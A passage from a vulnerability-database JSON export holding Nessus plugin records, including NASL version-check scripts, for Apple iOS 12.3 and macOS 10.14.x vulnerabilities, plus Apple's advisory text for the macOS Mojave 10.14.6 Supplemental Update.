(patch_found) exit(0, \"The host has Security Update \" + patch + \" or later installed and is therefore not affected.\");\n}\n\nreport = '\\n Missing security update : ' + patch;\nreport += '\\n Installed security BOMs : ';\nif (sec_boms_report) report += str_replace(find:'\\n', replace:'\\n ', string:sec_boms_report);\nelse report += 'n/a';\nreport += '\\n';\n\nsecurity_report_v4(port:0, severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-19T13:50:38", "description": "The version of Apple iOS running on the mobile device is prior to 12.3. It is, therefore, affected by multiple vulnerabilities as described in the HT210118 security Advisory.\n\n - Multiple elevation of privilege vulnerabilities exist due to improper memory handling. An application can exploit this to gain elevated privileges. (CVE-2019-8593, CVE-2019-8605, CVE-2019-8574)\n\n - Multiple unspecified command execution vulnerabilities exist that allow an attacker to execute arbitrary commands, sometimes with kernel privileges. (CVE-2019-8585, CVE-2019-8613,CVE-2019-8600, CVE-2019-6237, CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601, CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - An unspecified denial of service (DoS) vulnerability exists in the Kernel that allows an an attacker in a privileged position to perform a denial of service attack. (CVE-2019-8626)", "cvss3": {}, "published": "2019-05-15T00:00:00", "type": "nessus", "title": "Apple iOS < 12.3 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8571", "CVE-2019-8573", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8599", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8612", "CVE-2019-8613", "CVE-2019-8615", "CVE-2019-8617", "CVE-2019-8619", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8626", "CVE-2019-8628", "CVE-2019-8630", "CVE-2019-8637", "CVE-2019-8664"], "modified": "2022-02-14T00:00:00", "cpe": ["cpe:/o:apple:iphone_os"], "id": "APPLE_IOS_123_CHECK.NBIN", "href": "https://www.tenable.com/plugins/nessus/125090", "sourceData": "Binary data apple_ios_123_check.nbin", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-29T00:22:12", "description": "The remote host is running a version of macOS / Mac OS X that is 10.14.x prior to 10.14.5. It is, therefore, affected by multiple vulnerabilities :\n\n - An application may be able to read restricted memory (CVE-2019-8603, CVE-2019-8560)\n\n - An application may be able to execute arbitrary code with system privileges (CVE-2019-8635, CVE-2019-8616, CVE-2019-8629, CVE-2018-4456, CVE-2019-8604,CVE-2019-8574, CVE-2019-8569)\n\n - An application may be able to execute arbitrary code with kernel privileges (CVE-2019-8590)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2019-8592)\n\n - Processing a maliciously crafted movie file may lead to arbitrary code execution (CVE-2019-8585)\n\n - A malicious application may bypass Gatekeeper checks (CVE-2019-8589)\n\n - A malicious application may be able to read restricted memory (CVE-2019-8560, CVE-2019-8598)\n\n - A user may be unexpectedly logged in to another users account (CVE-2019-8634)\n\n - A local user may be able to load unsigned kernel extensions (CVE-2019-8606)\n\n - A malicious application may be able to execute arbitrary code with system privileges (CVE-2019-8605)\n\n - A local user may be able to cause unexpected system termination or read kernel memory (CVE-2019-8576)\n\n - An application may be able to cause unexpected system termination or write kernel memory (CVE-2019-8591)\n\n - An application may be able to gain elevated privileges (CVE-2019-8577)\n\n - A maliciously crafted SQL query may lead to arbitrary code execution (CVE-2019-8600)\n\n - A malicious application may be able to elevate privileges (CVE-2019-8602)\n\n - A local user may be able to modify protected parts of the file system (CVE-2019-8568)\n\n - Processing maliciously crafted web content may lead to arbitrary code execution (CVE-2019-6237, CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601, CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - Processing maliciously crafted web content may result in the disclosure of process memory (CVE-2019-8607)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2019-05-15T00:00:00", "type": "nessus", "title": "macOS 10.14.x < 10.14.5 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-4456", "CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8569", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8589", "CVE-2019-8590", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8603", "CVE-2019-8604", "CVE-2019-8605", "CVE-2019-8606", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8615", "CVE-2019-8616", "CVE-2019-8619", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8628", "CVE-2019-8629", "CVE-2019-8634", "CVE-2019-8635"], "modified": "2019-12-13T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_10_14_5.NASL", "href": "https://www.tenable.com/plugins/nessus/125150", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125150);\n script_version(\"1.6\");\n script_cvs_date(\"Date: 2019/12/13\");\n\n script_cve_id(\n \"CVE-2018-4456\",\n \"CVE-2019-6237\",\n \"CVE-2019-8560\",\n \"CVE-2019-8568\",\n \"CVE-2019-8569\",\n \"CVE-2019-8571\",\n \"CVE-2019-8574\",\n \"CVE-2019-8576\",\n \"CVE-2019-8577\",\n \"CVE-2019-8583\",\n \"CVE-2019-8584\",\n \"CVE-2019-8585\",\n \"CVE-2019-8586\",\n \"CVE-2019-8587\",\n \"CVE-2019-8589\",\n \"CVE-2019-8590\",\n \"CVE-2019-8591\",\n \"CVE-2019-8592\",\n \"CVE-2019-8594\",\n \"CVE-2019-8595\",\n \"CVE-2019-8596\",\n \"CVE-2019-8597\",\n \"CVE-2019-8598\",\n \"CVE-2019-8600\",\n \"CVE-2019-8601\",\n \"CVE-2019-8602\",\n \"CVE-2019-8603\",\n \"CVE-2019-8604\",\n \"CVE-2019-8605\",\n \"CVE-2019-8606\",\n \"CVE-2019-8607\",\n \"CVE-2019-8608\",\n \"CVE-2019-8609\",\n \"CVE-2019-8610\",\n \"CVE-2019-8611\",\n \"CVE-2019-8615\",\n \"CVE-2019-8616\",\n \"CVE-2019-8619\",\n \"CVE-2019-8622\",\n \"CVE-2019-8623\",\n \"CVE-2019-8628\",\n \"CVE-2019-8629\",\n \"CVE-2019-8634\",\n \"CVE-2019-8635\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210119\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-05-09\");\n\n script_name(english:\"macOS 10.14.x < 10.14.5 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the version of Mac OS X / macOS.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\"The remote host is missing a macOS update that fixes multiple\nvulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 10.14.x prior to 10.14.5. It is, therefore, affected \nby multiple vulnerabilities :\n\n - An application may be able to read restricted memory (CVE-2019-8603, CVE-2019-8560)\n\n - An application may be able to execute arbitrary code with system privileges (CVE-2019-8635, CVE-2019-8616, \n CVE-2019-8629, CVE-2018-4456, CVE-2019-8604,CVE-2019-8574, CVE-2019-8569)\n\n - An application may be able to execute arbitrary code with kernel privileges (CVE-2019-8590)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2019-8592)\n\n - Processing a maliciously crafted movie file may lead to arbitrary code execution (CVE-2019-8585)\n\n - A malicious application may bypass Gatekeeper checks (CVE-2019-8589)\n\n - A malicious application may be able to read restricted memory (CVE-2019-8560, CVE-2019-8598)\n\n - A user may be unexpectedly logged in to another users account (CVE-2019-8634)\n\n - A local user may be able to load unsigned kernel extensions (CVE-2019-8606)\n\n - A malicious application may be able to execute arbitrary code with system privileges (CVE-2019-8605)\n\n - A local user may be able to cause unexpected system termination or read kernel memory (CVE-2019-8576)\n\n - An application may be able to cause unexpected system termination or write kernel memory (CVE-2019-8591)\n\n - An application may be able to gain elevated privileges (CVE-2019-8577)\n\n - A maliciously crafted SQL query may lead to arbitrary code execution (CVE-2019-8600)\n\n - A malicious application may be able to elevate privileges (CVE-2019-8602)\n\n - A local user may be able to modify protected parts of the file system (CVE-2019-8568)\n\n - Processing maliciously crafted web content may lead to arbitrary code execution (CVE-2019-6237, CVE-2019-8571,\n CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, \n CVE-2019-8597, CVE-2019-8601, CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, \n CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - Processing maliciously crafted web content may result in the disclosure of process memory (CVE-2019-8607)\n\nNote that Nessus has not tested for this issue but has instead relied\nonly on the operating system's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210119\");\n script_set_attribute(attribute:\"solution\", value:\"Upgrade to macOS version 10.14.5 or later\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-4456\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/04/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/15\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nfix = \"10.14.5\";\nminver = \"10.14\";\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n{\n os = get_kb_item_or_exit(\"Host/OS\");\n if (\"Mac OS X\" >!< os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\n c = get_kb_item(\"Host/OS/Confidence\");\n if (c <= 70) exit(1, \"Can't determine the host's OS with sufficient confidence.\");\n}\nif (!os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\nmatches = pregmatch(pattern:\"Mac OS X ([0-9]+(\\.[0-9]+)+)\", string:os);\nif (empty_or_null(matches)) exit(1, \"Failed to parse the macOS / Mac OS X version ('\" + os + \"').\");\n\nversion = matches[1];\n\nif (ver_compare(ver:version, minver:minver, fix:fix, strict:FALSE) == -1)\n{\n security_report_v4(\n port:0,\n severity:SECURITY_HOLE,\n extra:\n '\\n Installed version : ' + version +\n '\\n Fixed version : ' + fix +\n '\\n'\n );\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, \"macOS / Mac OS X\", version);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-25T14:24:26", "description": "The remote host is running a version of macOS / Mac OS X that is 10.x prior to 10.14.5. It is, therefore, affected by the following vulnerabilities :\n\n - A validation issue was addressed with improved input sanitization.(CVE-2019-8603,CVE-2019-8560)\n\n - A memory corruption issue was addressed with improved memory handling.(CVE-2019-8635,CVE-2019-8616,CVE-2018-4456,CVE-2019-8604,CVE-2019-8574,CVE-2019-8569)\n\n - A logic issue was addressed with improved restrictions.(CVE-2019-8590)\n\n - A memory corruption issue was addressed with improved error handling.(CVE-2019-8592)\n\n - An out-of-bounds read was addressed with improved input validation.(CVE-2019-8585,CVE-2019-8607)\n\n - This issue was addressed with improved checks.(CVE-2019-8589)\n\n - An out-of-bounds read was addressed with improved bounds checking.(CVE-2019-8560,CVE-2019-8576)\n\n - An authentication issue was addressed with improved state management.(CVE-2019-8634)\n\n - A memory initialization issue was addressed with improved memory handling.(CVE-2019-8629)\n\n - A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.(CVE-2019-8606,CVE-2019-8568)\n\n - A use after free issue was addressed with improved memory management.(CVE-2019-8605)\n\n - A type confusion issue was addressed with improved memory handling.(CVE-2019-8591)\n\n - An input validation issue was addressed with improved memory handling.(CVE-2019-8577)\n\n - A memory corruption issue was addressed with improved input validation.(CVE-2019-8600)\n\n - An input validation issue was addressed with improved input validation.(CVE-2019-8598)\n\n - A memory corruption issue was addressed by removing the vulnerable code.(CVE-2019-8602)\n\n - Multiple memory corruption issues were addressed with improved memory handling.(CVE-2019-6237,CVE-2019-8571,CVE-2019-8583,CVE-2019-8584,CVE-2019-8586,CVE-2019-8587,CVE-2019-8594,CVE-2019-8595,CVE-2019-8596,CVE-2019-8597,CVE-2019-8601,CVE-2019-8608,CVE-2019-8609,CVE-2019-8610,CVE-2019-8611,CVE-2019-8615,CVE-2019-8619,CVE-2019-8622,CVE-2019-8623,CVE-2019-8628)", "cvss3": {}, "published": "2019-05-16T00:00:00", "type": "nessus", "title": "macOS 10.x < 10.14.5 Multiple Vulnerabilities (APPLE-SA-2019-05-09)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-4456", "CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8569", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8589", "CVE-2019-8590", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8603", "CVE-2019-8604", "CVE-2019-8605", "CVE-2019-8606", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8615", "CVE-2019-8616", "CVE-2019-8619", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8628", "CVE-2019-8629", "CVE-2019-8634", "CVE-2019-8635"], "modified": "2019-05-16T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x"], "id": "700667.PRM", "href": "https://www.tenable.com/plugins/nnm/700667", "sourceData": "Binary data 700667.prm", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-20T14:41:36", "description": "The remote host is running a version of Mac OS X that is prior to 10.13.6 or is not macOS 10.14. It is, therefore, affected by multiple vulnerabilities in the following components :\n\n - afpserver\n - AppleGraphicsControl\n - Application Firewall\n - App Store\n - APR\n - ATS\n - Auto Unlock\n - Bluetooth\n - CFNetwork\n - CoreFoundation\n - CoreText\n - Crash Reporter\n - CUPS\n - Dictionary\n - Grand Central Dispatch\n - Heimdal\n - Hypervisor\n - iBooks\n - Intel Graphics Driver\n - IOHIDFamily\n - IOKit\n - IOUserEthernet\n - Kernel\n - LibreSSL\n - Login Window\n - mDNSOffloadUserClient\n - MediaRemote\n - Microcode\n - Security\n - Spotlight\n - Symptom Framework\n - Text\n - Wi-Fi\n\nNote that successful exploitation of the most serious issues can result in arbitrary code execution.", "cvss3": {}, "published": "2018-10-18T00:00:00", "type": "nessus", "title": "macOS < 10.14 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-3194", "CVE-2015-5333", "CVE-2015-5334", "CVE-2016-0702", "CVE-2016-1777", "CVE-2017-12613", "CVE-2017-12618", "CVE-2018-3639", "CVE-2018-3646", "CVE-2018-4126", "CVE-2018-4153", "CVE-2018-4203", "CVE-2018-4295", "CVE-2018-4304", "CVE-2018-4308", "CVE-2018-4310", "CVE-2018-4321", "CVE-2018-4324", "CVE-2018-4326", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4333", "CVE-2018-4334", "CVE-2018-4336", "CVE-2018-4337", "CVE-2018-4338", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4343", "CVE-2018-4344", "CVE-2018-4346", "CVE-2018-4347", "CVE-2018-4348", "CVE-2018-4350", "CVE-2018-4351", "CVE-2018-4353", "CVE-2018-4354", "CVE-2018-4355", "CVE-2018-4383", "CVE-2018-4393", "CVE-2018-4395", "CVE-2018-4396", "CVE-2018-4399", "CVE-2018-4401", "CVE-2018-4406", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4411", "CVE-2018-4412", "CVE-2018-4414", "CVE-2018-4417", "CVE-2018-4418", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-5383"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_10_14.NASL", "href": "https://www.tenable.com/plugins/nessus/118178", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(118178);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2016-0702\",\n \"CVE-2015-3194\",\n \"CVE-2015-5333\",\n \"CVE-2015-5334\",\n \"CVE-2016-1777\",\n \"CVE-2017-12613\",\n \"CVE-2017-12618\",\n \"CVE-2018-3639\",\n \"CVE-2018-3646\",\n \"CVE-2018-4126\",\n \"CVE-2018-4153\",\n \"CVE-2018-4203\",\n \"CVE-2018-4295\",\n \"CVE-2018-4304\",\n \"CVE-2018-4308\",\n \"CVE-2018-4310\",\n \"CVE-2018-4321\",\n \"CVE-2018-4324\",\n \"CVE-2018-4326\",\n \"CVE-2018-4331\",\n \"CVE-2018-4332\",\n \"CVE-2018-4333\",\n \"CVE-2018-4334\",\n \"CVE-2018-4336\",\n \"CVE-2018-4337\",\n \"CVE-2018-4338\",\n \"CVE-2018-4340\",\n \"CVE-2018-4341\",\n \"CVE-2018-4343\",\n \"CVE-2018-4344\",\n \"CVE-2018-4346\",\n \"CVE-2018-4347\",\n \"CVE-2018-4348\",\n \"CVE-2018-4350\",\n \"CVE-2018-4351\",\n \"CVE-2018-4353\",\n \"CVE-2018-4354\",\n \"CVE-2018-4355\",\n \"CVE-2018-4383\",\n \"CVE-2018-4393\",\n \"CVE-2018-4395\",\n \"CVE-2018-4396\",\n \"CVE-2018-4399\",\n \"CVE-2018-4401\",\n \"CVE-2018-4406\",\n \"CVE-2018-4407\",\n \"CVE-2018-4408\",\n \"CVE-2018-4411\",\n \"CVE-2018-4412\",\n \"CVE-2018-4414\",\n \"CVE-2018-4417\",\n \"CVE-2018-4418\",\n \"CVE-2018-4425\",\n \"CVE-2018-4426\",\n \"CVE-2018-5383\"\n );\n script_bugtraq_id(85054, 104879);\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2018-09-24-1\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/07/18\");\n\n script_name(english:\"macOS < 10.14 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS update that fixes multiple security\nvulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Mac OS X that is prior to\n10.13.6 or is not macOS 10.14. It is, therefore, affected by multiple\nvulnerabilities in the following components :\n\n - afpserver\n - AppleGraphicsControl\n - Application Firewall\n - App Store\n - APR\n - ATS\n - Auto Unlock\n - Bluetooth\n - CFNetwork\n - CoreFoundation\n - CoreText\n - Crash Reporter\n - CUPS\n - Dictionary\n - Grand Central Dispatch\n - Heimdal\n - Hypervisor\n - iBooks\n - Intel Graphics Driver\n - IOHIDFamily\n - IOKit\n - IOUserEthernet\n - Kernel\n - LibreSSL\n - Login Window\n - mDNSOffloadUserClient\n - MediaRemote\n - Microcode\n - Security\n - Spotlight\n - Symptom Framework\n - Text\n - Wi-Fi\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT209139\");\n # https://lists.apple.com/archives/security-announce/2018/Sep/msg00000.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?27448e16\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS version 10.14 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-4332\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2018-4310\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/09/24\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/09/24\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/10/18\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2018-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n{\n os = get_kb_item_or_exit(\"Host/OS\");\n if (\"Mac OS X\" >!< os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\n c = get_kb_item(\"Host/OS/Confidence\");\n if (c <= 70) exit(1, \"Can't determine the host's OS with sufficient confidence.\");\n}\nif (!os) audit(AUDIT_OS_NOT, \"macOS / Mac OS X\");\n\nmatches = pregmatch(pattern:\"Mac OS X ([0-9]+(\\.[0-9]+)+)\", string:os);\nif (isnull(matches)) exit(1, \"Failed to parse the macOS / Mac OS X version ('\" + os + \"').\");\n\nversion = matches[1];\nfixed_version = \"10.14\";\n\n# Patches exist for macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n# https://support.apple.com/en-us/HT209193\n# Do not mark at or above 10.12.6 and 10.13.6\nif (\n # No 10.12.x patch below 10.12.6\n (\n version =~\"^10\\.12($|[^0-9])\"\n &&\n ver_compare(ver:version, fix:'10.12.6', strict:FALSE) == -1\n )\n ||\n # No 10.13.x patch below 10.13.6\n (\n version =~\"^10\\.13($|[^0-9])\"\n &&\n ver_compare(ver:version, fix:'10.13.6', strict:FALSE) == -1\n )\n)\n{\n security_report_v4(\n port:0,\n severity:SECURITY_HOLE,\n extra:\n '\\n Installed version : ' + version +\n '\\n Fixed version : ' + fixed_version +\n '\\n'\n );\n}\nelse audit(AUDIT_INST_VER_NOT_VULN, \"macOS / Mac OS X\", version);\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "apple": [{"lastseen": "2022-02-19T19:30:16", "description": "# About the security content of macOS Mojave 10.14.6 Supplemental Update\n\nThis document describes the security content of macOS Mojave 10.14.6 Supplemental Update.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their assistance.\n\nEntry updated September 17, 2019\n\n\n\nInstalling macOS Mojave 10.14.6 Supplemental Update updates the build number of macOS to 18G95. This build contains the security content described in this article. If you updated to macOS Mojave 10.14.6 and your macOS build is not 18G95, make sure you also install the Supplemental Update. \n\nLearn how to [find the macOS version and build number on your Mac](<https://support.apple.com/kb/HT201260>).\n\nLearn how to [update the software on your Mac](<https://support.apple.com/kb/HT201541>).\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-08-26T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.6 Supplemental Update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-26T00:00:00", "id": "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "href": "https://support.apple.com/kb/HT210548", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:51", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## macOS Mojave 10.14.6 Supplemental Update\n\nReleased August 26, 2019\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14.6\n\nImpact: A malicious application may be able to execute arbitrary code with system privileges\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2019-8605: Ned Williamson working with Google Project Zero\n\n\n\n## Additional recognition\n\n**Kernel**\n\nWe would like to acknowledge @Pwn20wnd, Ahmed Aldeab (@AldeabAhmed) for their 